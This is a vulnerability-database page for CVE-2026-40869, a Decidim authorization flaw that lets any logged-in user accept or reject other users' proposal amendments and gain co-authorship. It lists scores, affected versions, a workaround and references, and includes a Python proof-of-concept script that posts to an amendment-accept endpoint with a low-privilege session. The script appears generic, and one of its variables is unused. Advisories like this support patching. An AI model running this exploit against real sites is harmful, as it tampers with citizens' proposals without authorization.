CVE-2026-40869

Description

Decidim is a participatory democracy framework. Starting in version 0.19.0 and prior to versions 0.30.5 and 0.31.1, a vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources. Versions 0.30.5 and 0.31.1 fix the issue. As a workaround, disable amendment reactions for the amendable component (e.g. proposals).

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:decidim:decidim:*:*:*:*:*:ruby:*:* - VULNERABLE

Decidim >= 0.19.0, < 0.30.5

Decidim >= 0.31.0, < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-40869
# This script demonstrates how an authenticated user can accept an amendment
# on a proposal they do not own.

import requests

# Target URL (example)
target_url = "https://target-decidim-instance.org"

# Session with authenticated cookie of a low-privilege user
session = requests.Session()
session.cookies.set("_decidim_session", "LOW_PRIV_USER_COOKIE_HERE")

# IDs of the target proposal and amendment
proposal_id = "12345"
amendment_id = "67890"

# Endpoint to accept the amendment
accept_endpoint = f"{target_url}/api/amendments/{amendment_id}/accept"

headers = {
    "Content-Type": "application/json",
    "X-CSRF-Token": "CSRF_TOKEN_HERE" 
}

try:
    # Send request to accept the amendment
    response = session.post(accept_endpoint, headers=headers)

    if response.status_code == 200 or response.status_code == 201:
        print(f"[+] Success: Amendment {amendment_id} accepted.")
        print("[+] The user is now a co-author of the proposal.")
    else:
        print(f"[-] Failed: Status code {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40869
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40869
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40869/
[4] VulDB https://vuldb.com/cve/CVE-2026-40869
[5] https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9
[6] https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40869", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:00.207", "lastModified": "2026-04-23T16:08:50.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Decidim is a participatory democracy framework. Starting in version 0.19.0 and prior to versions 0.30.5 and 0.31.1, a vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources. Versions 0.30.5 and 0.31.1 fix the issue. As a workaround, disable amendment reactions for the amendable component (e.g. proposals)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:decidim:decidim:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.19.0", "versionEndExcluding": "0.30.5", "matchCriteriaId": "866F9266-B876-4727-A253-D1F3B0456C43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:decidim:decidim:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.31.0", "versionEndExcluding": "0.31.1", "matchCriteriaId": "029260FC-BDC7-4FFF-B8DA-B7BF1BF978EC"}]}]}], "references": [{"url": "https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory", "Patch"]}]}}